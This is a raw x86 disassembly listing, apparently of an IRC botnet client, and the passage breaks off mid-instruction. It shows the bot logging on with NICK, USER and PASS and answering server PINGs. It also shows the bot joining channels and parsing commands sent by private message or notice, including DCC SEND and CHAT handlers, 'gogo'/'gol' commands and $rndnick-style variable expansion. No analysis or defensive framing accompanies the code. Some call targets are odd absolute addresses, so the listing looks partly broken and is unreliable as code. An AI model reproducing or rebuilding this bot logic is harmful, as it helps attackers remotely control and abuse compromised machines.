loc_402F05 push offset byte_4D3180 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_4013FF add esp, 0Ch loc_402F05: ; CODE XREF: sub_402EC0+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_408B4C add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_4171D0 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_414BE0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_445398 cmp eax, 0FFFFFFFFh jnz short loc_402F6F push [ebp+arg_0] call dword_4453E0 push 1388h call near ptr 2690599h nop loc_402F68: ; CODE XREF: sub_402EC0+D9j ; sub_402EC0+153j xor eax, eax loc_402F6A: ; CODE XREF: sub_402EC0+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_402F6F: ; CODE XREF: sub_402EC0+92j ; sub_402EC0+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_417070 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_445360 test eax, eax jle short loc_402F68 lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_411B48 pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_402F6F lea edi, [ebp+var_A90] loc_402FC0: ; CODE XREF: sub_402EC0+165j push 1 pop esi loc_402FC3: ; CODE XREF: sub_402EC0+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_403038 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_403006 push 7D0h nop call near ptr 2690599h jmp short loc_402FC3 ; --------------------------------------------------------------------------- loc_403006: ; CODE XREF: sub_402EC0+137j cmp esi, 0FFFFFFFDh jz short loc_403030 cmp esi, 0FFFFFFFEh jz short loc_40302C cmp esi, 0FFFFFFFFh jz loc_402F68 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_402FC0 jmp loc_402F6F ; --------------------------------------------------------------------------- loc_40302C: ; CODE XREF: sub_402EC0+14Ej push 1 jmp short loc_403032 ; --------------------------------------------------------------------------- loc_403030: ; CODE XREF: sub_402EC0+149j push 2 loc_403032: ; CODE XREF: sub_402EC0+16Ej pop eax jmp loc_402F6A sub_402EC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403038 proc near ; CODE XREF: sub_402EC0+12Ap var_1584 = byte ptr -1584h var_1184 = byte ptr -1184h var_F84 = byte ptr -0F84h var_D84 = byte ptr -0D84h var_C84 = byte ptr -0C84h var_C80 = byte ptr -0C80h var_B80 = byte ptr -0B80h var_B7C = byte ptr -0B7Ch var_A7C = byte ptr -0A7Ch var_9FC = byte ptr -9FCh var_99B = byte ptr -99Bh var_99A = byte ptr -99Ah var_998 = byte ptr -998h var_997 = byte ptr -997h var_98E = byte ptr -98Eh var_98C = byte ptr -98Ch var_98A = byte ptr -98Ah var_989 = byte ptr -989h var_8FC = dword ptr -8FCh var_8F8 = byte ptr -8F8h var_7F4 = dword ptr -7F4h var_7F0 = dword ptr -7F0h var_7EC = byte ptr -7ECh var_770 = byte ptr -770h var_72C = dword ptr -72Ch var_728 = byte ptr -728h var_700 = dword ptr -700h var_6F8 = byte ptr -6F8h var_6E8 = byte ptr -6E8h var_6E4 = byte ptr -6E4h var_6E0 = dword ptr -6E0h var_6DC = byte ptr -6DCh var_6A8 = byte ptr -6A8h var_671 = byte ptr -671h var_670 = byte ptr -670h var_668 = byte ptr -668h var_65C = byte ptr -65Ch var_5E4 = dword ptr -5E4h var_5E0 = dword ptr -5E0h var_5DC = dword ptr -5DCh var_5D8 = byte ptr -5D8h var_570 = dword ptr -570h var_56C = dword ptr -56Ch var_568 = dword ptr -568h var_564 = dword ptr -564h var_560 = dword ptr -560h var_55C = dword ptr -55Ch var_558 = dword ptr -558h var_554 = dword ptr -554h var_550 = dword ptr -550h var_54C = byte ptr -54Ch var_530 = byte ptr -530h var_520 = byte ptr -520h var_510 = byte ptr -510h var_50C = dword ptr -50Ch var_504 = byte ptr -504h var_500 = byte ptr -500h var_4F8 = dword ptr -4F8h var_4F4 = byte ptr -4F4h var_4E8 = byte ptr -4E8h var_4E4 = byte ptr -4E4h var_4A0 = byte ptr -4A0h var_484 = byte ptr -484h var_480 = byte ptr -480h var_474 = byte ptr -474h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_404 = dword ptr -404h var_400 = dword ptr -400h var_3FC = dword ptr -3FCh var_3F8 = dword ptr -3F8h var_3F4 = dword ptr -3F4h var_3F0 = dword ptr -3F0h var_3EC = dword ptr -3ECh var_3E8 = dword ptr -3E8h var_3E4 = byte ptr -3E4h var_394 = dword ptr -394h var_390 = dword ptr -390h var_38C = byte ptr -38Ch var_384 = dword ptr -384h var_380 = byte ptr -380h var_37C = dword ptr -37Ch var_378 = byte ptr -378h var_348 = byte ptr -348h var_328 = dword ptr -328h var_310 = byte ptr -310h var_30C = dword ptr -30Ch var_308 = dword ptr -308h var_304 = dword ptr -304h var_300 = dword ptr -300h var_2FC = dword ptr -2FCh var_2F8 = dword ptr -2F8h var_2F4 = dword ptr -2F4h var_2F0 = dword ptr -2F0h var_2EC = dword ptr -2ECh var_2E8 = dword ptr -2E8h var_2E4 = byte ptr -2E4h var_E4 = byte ptr -0E4h var_D8 = word ptr -0D8h var_D6 = word ptr -0D6h var_D4 = dword ptr -0D4h var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = byte ptr -0C0h var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 1584h call sub_417E20 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2E4] push ebx push eax mov [ebp+var_A8], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_C8], ebx call sub_417070 push 1Bh lea eax, [ebp+var_54C] push [ebp+arg_10] push eax call sub_417770 add esp, 18h cmp [ebp+arg_0], ebx jz loc_4034D4 push esi lea eax, [ebp+var_F84] push ebx push eax call sub_417070 dec esi lea eax, [ebp+var_F84] push esi push [ebp+arg_0] push eax call sub_417770 lea eax, [ebp+var_F84] push offset asc_437724 ; " :" push eax call sub_417B50 mov [ebp+var_C], eax lea eax, [ebp+var_F84] push esi push eax lea eax, [ebp+var_1184] push eax call sub_417770 lea eax, [ebp+var_1184] push offset asc_437728 ; " " push eax call sub_417620 add esp, 34h mov [ebp+var_90], eax lea esi, [ebp+var_8C] push 1Fh pop edi loc_403103: ; CODE XREF: sub_403038+DEj push offset asc_43772C ; " " push ebx call sub_417620 mov [esi], eax pop ecx add esi, 4 dec edi pop ecx jnz short loc_403103 mov esi, [ebp+var_90] cmp esi, ebx jz loc_4034D4 cmp [ebp+var_8C], ebx jz loc_4034D4 push 100h lea eax, [ebp+var_9FC] push ebx push eax call sub_417070 add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_403150: ; CODE XREF: sub_403038+14Aj mov eax, [ecx] cmp eax, ebx jz short loc_40317C cmp byte ptr [eax], 2Dh jnz short loc_403184 cmp [eax+2], bl jnz short loc_403184 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_9FC], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_40317C: ; CODE XREF: sub_403038+11Cj dec edx sub ecx, 4 cmp edx, ebx jge short loc_403150 loc_403184: ; CODE XREF: sub_403038+121j ; sub_403038+126j cmp [ebp+var_989], bl jz short loc_40318F mov [ebp+var_8], edi loc_40318F: ; CODE XREF: sub_403038+152j cmp [ebp+var_98E], bl jz short loc_40319D mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_40319D: ; CODE XREF: sub_403038+15Dj cmp byte ptr [esi], 0Ah jz short loc_4031D7 push 7Fh lea eax, [ebp+var_A7C] push esi push eax call sub_417770 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C0] push eax call sub_417770 lea eax, [ebp+var_C0] push offset asc_437730 ; "!" push eax call sub_417620 add esp, 20h loc_4031D7: ; CODE XREF: sub_403038+168j push esi push offset aPing ; "PING" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_403228 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_4013FF mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_4032CC push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_4013FF add esp, 10h jmp loc_4032CC ; --------------------------------------------------------------------------- loc_403228: ; CODE XREF: sub_403038+1AEj mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_417870 pop ecx test eax, eax pop ecx jz loc_408722 push esi push offset a005 ; "005" call sub_417870 pop ecx test eax, eax pop ecx jz loc_408722 push esi push offset a302 ; "302" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_403293 push offset a@ ; "@" push [ebp+var_84] call sub_417B50 pop ecx cmp eax, ebx pop ecx jz short loc_4032CC inc eax push 9Fh push eax push [ebp+arg_1C] call sub_417770 add esp, 0Ch jmp short loc_4032CC ; --------------------------------------------------------------------------- loc_403293: ; CODE XREF: sub_403038+22Fj push esi push offset a433 ; "433" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_4032D3 push ebx push dword_436C34 push dword_436C30 push [ebp+arg_10] call sub_408B4C push [ebp+arg_10] push offset aNickS_3 ; "NICK %s\r\n" push [ebp+arg_4] call sub_4013FF add esp, 1Ch loc_4032CC: ; CODE XREF: sub_403038+1CFj ; sub_403038+1EBj ... mov eax, edi jmp loc_4034D7 ; --------------------------------------------------------------------------- loc_4032D3: ; CODE XREF: sub_403038+26Aj mov esi, [ebp+arg_18] mov [ebp+var_C4], 3 mov edi, 80h loc_4032E5: ; CODE XREF: sub_403038+2D2j lea eax, [ebp+var_A7C] push eax push esi call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_403302 mov [ebp+var_A4], 1 loc_403302: ; CODE XREF: sub_403038+2BEj add esi, edi dec [ebp+var_C4] jnz short loc_4032E5 mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_417870 pop ecx test eax, eax pop ecx jnz loc_4033F9 mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_403331: ; CODE XREF: sub_403038+386j cmp [esi], bl jz loc_4033B9 push 7Fh lea eax, [ebp+var_A7C] push esi push eax call sub_417770 lea eax, [ebp+var_C0] add esp, 0Ch test eax, eax jz short loc_4033B9 cmp [ebp+var_84], ebx jz short loc_4033B9 push [ebp+var_84] lea eax, [ebp+var_C0] push eax call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_4033B9 lea eax, [ebp+var_C0] mov [esi], bl push eax lea eax, [ebp+var_2E4] push offset unk_4377B0 push eax call sub_4171D0 lea eax, [ebp+var_2E4] push eax lea eax, [ebp+var_C0] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_4013FF lea eax, [ebp+var_2E4] push eax call sub_410557 add esp, 20h loc_4033B9: ; CODE XREF: sub_403038+2FBj ; sub_403038+31Bj ... add esi, edi dec [ebp+arg_24] jnz loc_403331 push [ebp+var_84] push [ebp+arg_10] call sub_417870 pop ecx test eax, eax pop ecx jnz loc_4034D4 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS_0 ; "JOIN %s %s\r\n" loc_4033EC: ; CODE XREF: sub_403038+5EBj ; sub_403038+89Bj ... push [ebp+arg_4] call sub_4013FF jmp loc_406C44 ; --------------------------------------------------------------------------- loc_4033F9: ; CODE XREF: sub_403038+2E9j push esi push offset aNick ; "NICK" call sub_417870 pop ecx test eax, eax pop ecx jnz loc_40353C mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_403422: ; CODE XREF: sub_403038+43Cj lea eax, [ebp+var_A7C] push eax push esi call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_40346F lea eax, [ebp+var_A7C] push 21h push eax call sub_4185C0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_40346F push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_4184C0 push [ebp+arg_1C] push edi call sub_4184D0 add esp, 10h mov edi, 80h loc_40346F: ; CODE XREF: sub_403038+3FBj ; sub_403038+412j add esi, edi dec [ebp+arg_0] jnz short loc_403422 lea eax, [ebp+var_C0] test eax, eax jz short loc_4034D4 cmp [ebp+arg_24], ebx jz short loc_4034D4 push [ebp+arg_10] lea eax, [ebp+var_C0] push eax call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_4034AC push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_417770 jmp loc_40501D ; --------------------------------------------------------------------------- loc_4034AC: ; CODE XREF: sub_403038+460j mov edi, [ebp+arg_18] xor esi, esi loc_4034B1: ; CODE XREF: sub_403038+49Aj cmp [edi], bl jz short loc_4034C8 lea eax, [ebp+var_A7C] push eax push edi call sub_417870 pop ecx test eax, eax pop ecx jz short loc_4034DC loc_4034C8: ; CODE XREF: sub_403038+47Bj inc esi add edi, 80h cmp esi, 3 jl short loc_4034B1 loc_4034D4: ; CODE XREF: sub_403038+5Bj ; sub_403038+E8j ... push 1 loc_4034D6: ; CODE XREF: sub_403038+3ECAj pop eax loc_4034D7: ; CODE XREF: sub_403038+296j ; sub_403038+28CAj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4034DC: ; CODE XREF: sub_403038+48Ej lea eax, [ebp+var_A7C] push 21h push eax call sub_4185C0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz short loc_4034D4 push eax call sub_414BE0 push [ebp+arg_24] mov edi, eax call sub_414BE0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja short loc_4034D4 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_4171D0 push ebx lea eax, [ebp+var_348] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_401445 add esp, 24h jmp short loc_4034D4 ; --------------------------------------------------------------------------- loc_40353C: ; CODE XREF: sub_403038+3D0j push esi push offset aPart ; "PART" call sub_417870 pop ecx test eax, eax pop ecx jz short loc_40355E push esi push offset aQuit ; "QUIT" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_40358B loc_40355E: ; CODE XREF: sub_403038+513j mov edi, [ebp+arg_18] xor esi, esi loc_403563: ; CODE XREF: sub_403038+54Bj cmp [edi], bl jz short loc_403579 push [ebp+var_90] push edi call sub_417870 pop ecx test eax, eax pop ecx jz short loc_4035C7 loc_403579: ; CODE XREF: sub_403038+52Dj inc esi add edi, 80h cmp esi, 3 jl short loc_403563 mov esi, [ebp+var_8C] loc_40358B: ; CODE XREF: sub_403038+524j push esi push offset a353 ; "353" call sub_417870 pop ecx test eax, eax pop ecx jnz loc_403628 push [ebp+var_80] push [ebp+arg_8] call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_4035BA mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_4035BA: ; CODE XREF: sub_403038+577j push [ebp+var_80] push offset unk_437850 jmp loc_408716 ; --------------------------------------------------------------------------- loc_4035C7: ; CODE XREF: sub_403038+53Fj mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_2E4] push offset unk_437810 push eax call sub_4171D0 lea eax, [ebp+var_2E4] push eax call sub_410557 push [ebp+var_8C] push offset aPart_0 ; "PART" call sub_417870 add esp, 18h test eax, eax jnz loc_4034D4 lea eax, [ebp+var_2E4] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS_0 ; "NOTICE %s :%s\r\n" jmp loc_4033EC ; --------------------------------------------------------------------------- loc_403628: ; CODE XREF: sub_403038+562j push esi push offset aPrivmsg_0 ; "PRIVMSG" call sub_417870 pop ecx test eax, eax pop ecx jz short loc_40366B push esi push offset aNotice_0 ; "NOTICE" call sub_417870 pop ecx test eax, eax pop ecx jz short loc_40366B push esi push offset a332 ; "332" call sub_417870 pop ecx test eax, eax pop ecx jnz loc_40858F cmp dword_436C1C, ebx jz loc_40858F loc_40366B: ; CODE XREF: sub_403038+5FFj ; sub_403038+610j push esi push offset aPrivmsg_1 ; "PRIVMSG" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4037F5 push esi push offset aNotice_1 ; "NOTICE" call sub_417870 pop ecx test eax, eax pop ecx jz loc_4037F5 mov eax, [ebp+var_84] inc [ebp+var_80] mov [ebp+var_A8], 4 mov [ebp+var_88], eax loc_4036AE: ; CODE XREF: sub_403038+879j ; sub_403038+8AFj ... mov eax, [ebp+var_A8] mov esi, eax shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax push offset dword_4378E8 mov [ebp+arg_20], eax call sub_417870 pop ecx test eax, eax pop ecx jnz loc_403A91 push [ebp+esi+var_8C] push offset aSend_3 ; "SEND" call sub_417870 pop ecx test eax, eax pop ecx jnz loc_40395B cmp [ebp+var_A4], ebx jz loc_403931 push [ebp+esi+var_88] lea eax, [ebp+var_6E4] push offset aS_26 ; "%s" push eax call sub_4171D0 push [ebp+esi+var_84] lea eax, [ebp+var_6F8] push offset aS_27 ; "%s" push eax call sub_4171D0 push [ebp+esi+var_80] call sub_4174D0 mov [ebp+var_560], eax mov eax, [ebp+arg_4] mov [ebp+var_700], eax lea eax, [ebp+var_C0] push 7Fh push eax lea eax, [ebp+var_5E0] push eax call sub_417770 mov eax, [ebp+var_4] mov [ebp+var_558], eax mov eax, [ebp+var_8] mov [ebp+var_554], eax lea eax, [ebp+var_5E0] push eax lea eax, [ebp+var_6E4] push eax lea eax, [ebp+var_2E4] push offset unk_437900 push eax call sub_4171D0 push ebx lea eax, [ebp+var_2E4] push 1Ah push eax call sub_408E53 add esp, 44h mov [ebp+var_55C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_700] push ebx push eax push offset loc_410E22 push ebx push ebx nop call near ptr 26A08FFh mov ecx, [ebp+var_55C] imul ecx, 234h cmp eax, ebx mov dword_446224[ecx], eax jz loc_403914 loc_4037DF: ; CODE XREF: sub_403038+7BBj cmp [ebp+var_550], ebx jnz loc_403953 push 32h call near ptr 2690599h nop jmp short loc_4037DF ; --------------------------------------------------------------------------- loc_4037F5: ; CODE XREF: sub_403038+642j ; sub_403038+657j push esi push offset aNotice_2 ; "NOTICE" call sub_417870 pop ecx test eax, eax pop ecx jnz short loc_40380D mov [ebp+var_4], 1 loc_40380D: ; CODE XREF: sub_403038+7CCj mov edi, [ebp+var_88] cmp edi, ebx jz loc_4034D4 push offset asc_43789C ; "#" push edi call sub_417B50 pop ecx test eax, eax pop ecx jz short loc_403831 cmp [ebp+var_4], ebx jz short loc_40383D loc_403831: ; CODE XREF: sub_403038+7F2j lea edi, [ebp+var_C0] mov [ebp+var_88], edi loc_40383D: ; CODE XREF: sub_403038+7F7j cmp [ebp+var_84], ebx jz loc_4034D4 inc [ebp+var_84] jz short loc_403887 cmp [ebp+arg_10], ebx jz short loc_403887 lea eax, [ebp+var_54C] push eax call sub_414BE0 push eax lea eax, [ebp+var_54C] push [ebp+var_84] push eax call sub_418480 add esp, 10h neg eax sbb eax, eax add eax, 4 mov [ebp+var_A8], eax jmp short loc_40388D ; --------------------------------------------------------------------------- loc_403887: ; CODE XREF: sub_403038+817j ; sub_403038+81Cj mov eax, [ebp+var_A8] loc_40388D: ; CODE XREF: sub_403038+84Dj shl eax, 2 mov [ebp+arg_8], eax mov esi, [ebp+eax+var_90] cmp esi, ebx jz loc_4034D4 push esi push offset dword_4378A0 call sub_417870 pop ecx test eax, eax pop ecx jnz loc_4036AE cmp byte ptr [edi], 23h jz short loc_4038D8 mov eax, dword_4D3188 mov eax, off_436CF0[eax*4] cmp [eax], bl jz short loc_4038D8 push eax push edi push offset dword_4378AC jmp loc_4033EC ; --------------------------------------------------------------------------- loc_4038D8: ; CODE XREF: sub_403038+882j ; sub_403038+892j push esi push offset dword_4378C8 call sub_417870 pop ecx test eax, eax pop ecx jnz loc_4036AE mov eax, [ebp+arg_8] mov eax, [ebp+eax+var_8C] cmp eax, ebx jz loc_4036AE cmp byte ptr [edi], 23h jz loc_4036AE push eax push edi push offset dword_4378D0 jmp loc_4033EC ; --------------------------------------------------------------------------- loc_403914: ; CODE XREF: sub_403038+7A1j call near ptr 26908EFh nop push eax push offset unk_437930 loc_403920: ; CODE XREF: sub_403038+A32j ; sub_403038+A43j ... lea eax, [ebp+var_2E4] push eax call sub_4171D0 add esp, 0Ch jmp short loc_403953 ; --------------------------------------------------------------------------- loc_403931: ; CODE XREF: sub_403038+6C8j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_2E4] push [ebp+esi+var_88] push offset unk_43796C push eax call sub_4171D0 add esp, 10h loc_403953: ; CODE XREF: sub_403038+7ADj ; sub_403038+8F7j ... push 1 pop esi jmp loc_4058F3 ; --------------------------------------------------------------------------- loc_40395B: ; CODE XREF: sub_403038+6BCj push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_417870 pop ecx test eax, eax pop ecx jnz loc_403AA7 cmp [ebp+var_A4], ebx jz loc_403A80 push 1Bh call sub_40909B test eax, eax pop ecx jnz loc_403A6F push [ebp+esi+var_84] lea eax, [ebp+var_6F8] push offset aS_0 ; "%s" push eax call sub_4171D0 push [ebp+esi+var_80] call sub_4174D0 mov [ebp+var_560], eax mov eax, [ebp+arg_4] mov [ebp+var_700], eax lea eax, [ebp+var_C0] push 7Fh push eax lea eax, [ebp+var_5E0] push eax call sub_417770 mov eax, [ebp+var_4] mov [ebp+var_558], eax mov eax, [ebp+var_8] mov [ebp+var_554], eax lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_2E4] push offset unk_4379BC push eax call sub_4171D0 push ebx lea eax, [ebp+var_2E4] push 1Bh push eax call sub_408E53 add esp, 34h mov [ebp+var_55C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_700] push ebx push eax push offset dword_4108BC push ebx push ebx call near ptr 26A08FFh nop mov ecx, [ebp+var_55C] imul ecx, 234h cmp eax, ebx mov dword_446224[ecx], eax jz short loc_403A5E loc_403A48: ; CODE XREF: sub_403038+A24j cmp [ebp+var_550], ebx jnz loc_403953 push 32h nop call near ptr 2690599h jmp short loc_403A48 ; --------------------------------------------------------------------------- loc_403A5E: ; CODE XREF: sub_403038+A0Ej nop call near ptr 26908EFh push eax push offset unk_4379DC jmp loc_403920 ; --------------------------------------------------------------------------- loc_403A6F: ; CODE XREF: sub_403038+954j lea eax, [ebp+var_C0] push eax push offset unk_437A14 jmp loc_403920 ; --------------------------------------------------------------------------- loc_403A80: ; CODE XREF: sub_403038+944j lea eax, [ebp+var_C0] push eax push offset unk_437A44 jmp loc_403920 ; --------------------------------------------------------------------------- loc_403A91: ; CODE XREF: sub_403038+6A1j mov eax, [ebp+arg_20] lea ecx, [eax+1] mov al, [eax] cmp al, byte_436C28 mov [edi], ecx jnz loc_4034D4 loc_403AA7: ; CODE XREF: sub_403038+938j mov edi, [edi] push edi push offset aGogo ; "gogo" mov [ebp+arg_20], edi call sub_417870 pop ecx test eax, eax pop ecx jz loc_408597 push edi push offset aGol ; "gol" call sub_417870 pop ecx test eax, eax pop ecx jz loc_408597 cmp [ebp+var_A4], ebx jnz short loc_403AF8 push [ebp+var_8C] push offset a332_1 ; "332" call sub_417870 pop ecx test eax, eax pop ecx jnz loc_40858F loc_403AF8: ; CODE XREF: sub_403038+AA4j cmp [ebp+arg_28], ebx jnz loc_40858F xor edi, edi cmp dword_437028, ebx jle loc_403CAD mov [ebp+arg_8], offset dword_445490 loc_403B16: ; CODE XREF: sub_403038+AFDj push [ebp+arg_20] push [ebp+arg_8] call sub_417870 pop ecx test eax, eax pop ecx jz short loc_403B3C add [ebp+arg_8], 0B8h inc edi cmp edi, dword_437028 jl short loc_403B16 jmp loc_403CAD ; --------------------------------------------------------------------------- loc_403B3C: ; CODE XREF: sub_403038+AEDj push offset asc_437BD0 ; " :" push [ebp+arg_0] call sub_417B50 pop ecx cmp eax, ebx pop ecx jz loc_4034D4 mov cl, byte_436C28 imul edi, 0B8h mov [eax+2], cl mov cl, byte_436C28 mov [eax+3], cl lea ecx, dword_4454A8[edi] push 9Fh add eax, 4 push ecx push eax call sub_417770 lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_8], 0Fh mov [ebp+arg_C], eax loc_403B91: ; CODE XREF: sub_403038+C0Aj push [ebp+arg_8] lea eax, [ebp+var_A0] push offset aD ; "$%d-" push eax call sub_4171D0 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417B50 add esp, 14h test eax, eax jz short loc_403BFD mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_403BFD lea eax, dword_445490[edi] push eax call sub_414BE0 add [ebp+var_C], eax pop ecx jz short loc_403C38 mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_417B50 pop ecx cmp eax, ebx pop ecx jz short loc_403C38 push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_411AB7 add esp, 0Ch jmp short loc_403C38 ; --------------------------------------------------------------------------- loc_403BFD: ; CODE XREF: sub_403038+B81j ; sub_403038+B88j mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_403C38 lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_417770 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_411AB7 add esp, 18h loc_403C38: ; CODE XREF: sub_403038+B9Aj ; sub_403038+BAEj ... dec [ebp+arg_8] sub [ebp+arg_C], 4 cmp [ebp+arg_8], ebx jg loc_403B91 lea eax, [ebp+esi+var_50] mov [ebp+arg_8], 10h mov edi, eax loc_403C55: ; CODE XREF: sub_403038+C69j push [ebp+arg_8] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d" push eax call sub_4171D0 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417B50 add esp, 14h test eax, eax jz short loc_403C98 mov eax, [edi] cmp eax, ebx jz short loc_403C98 push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_411AB7 add esp, 0Ch loc_403C98: ; CODE XREF: sub_403038+C45j ; sub_403038+C4Bj dec [ebp+arg_8] sub edi, 4 cmp [ebp+arg_8], ebx jg short loc_403C55 mov [ebp+var_C8], 1 loc_403CAD: ; CODE XREF: sub_403038+AD1j ; sub_403038+AFFj mov eax, [ebp+arg_20] mov al, [eax] cmp al, byte_436C28 jz short loc_403CC6 cmp [ebp+var_C8], ebx jz loc_403EBB loc_403CC6: ; CODE XREF: sub_403038+C80j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_411AB7 lea eax, [ebp+var_C0] push eax push offset aUser_2 ; "$user" push edi call sub_411AB7 push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_411AB7 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_408B4C push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_411AB7 add esp, 40h push [ebp+arg_14] push offset aServer_6 ; "$server" push edi call sub_411AB7 mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_417B50 add esp, 14h loc_403D38: ; CODE XREF: sub_403038+DFCj test eax, eax jz loc_403E39 push offset aChr_0 ; "$chr(" push [ebp+arg_0] call sub_417B50 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_417770 lea eax, [ebp+var_A0] push offset asc_437C18 ; ")" push eax call sub_417620 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_403D88 cmp [ebp+var_A0], 39h jle short loc_403D9E loc_403D88: ; CODE XREF: sub_403038+D45j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_417770 add esp, 0Ch loc_403D9E: ; CODE XREF: sub_403038+D4Ej lea eax, [ebp+var_A0] push eax call sub_4174D0 test eax, eax pop ecx jle short loc_403DC4 lea eax, [ebp+var_A0] push eax call sub_4174D0 pop ecx mov 